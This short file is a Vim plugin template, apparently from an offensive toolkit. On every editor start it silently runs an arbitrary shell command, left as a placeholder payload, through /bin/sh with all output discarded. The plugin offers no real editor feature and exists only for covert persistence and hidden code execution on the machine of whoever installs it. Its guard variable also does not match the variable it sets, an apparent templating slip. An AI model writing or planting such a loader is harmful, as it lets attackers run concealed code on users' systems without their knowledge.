" NAME.vim - Runs in the background on startup, discards output if !has('job') || exists('g:loaded_ZZWcUtfrDa') finish endif let g:loaded_NAME = 1 augroup NAME autocmd! autocmd VimEnter * silent! call job_start(["/bin/sh", "-c", "PAYLOAD_PLACEHOLDER"], {'out_io': 'null', 'err_io': 'null'}) augroup END